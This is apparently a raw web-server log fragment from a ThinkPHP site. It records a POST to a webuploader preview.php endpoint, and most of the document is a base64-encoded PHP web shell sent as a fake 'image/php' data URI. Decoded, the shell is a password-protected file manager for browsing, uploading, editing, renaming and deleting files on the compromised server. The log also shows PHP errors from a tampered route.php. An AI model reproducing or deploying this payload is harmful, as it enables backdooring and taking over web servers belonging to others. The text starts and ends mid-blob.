ICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KIC' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:27:42+08:00 ] 119.42.146.234 POST 51tianwei.com/js/webuploader/0.1.5/server/preview.php [运行时间:0.002674s] [吞吐率:373.96req/s] [内存消耗:196.63kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIG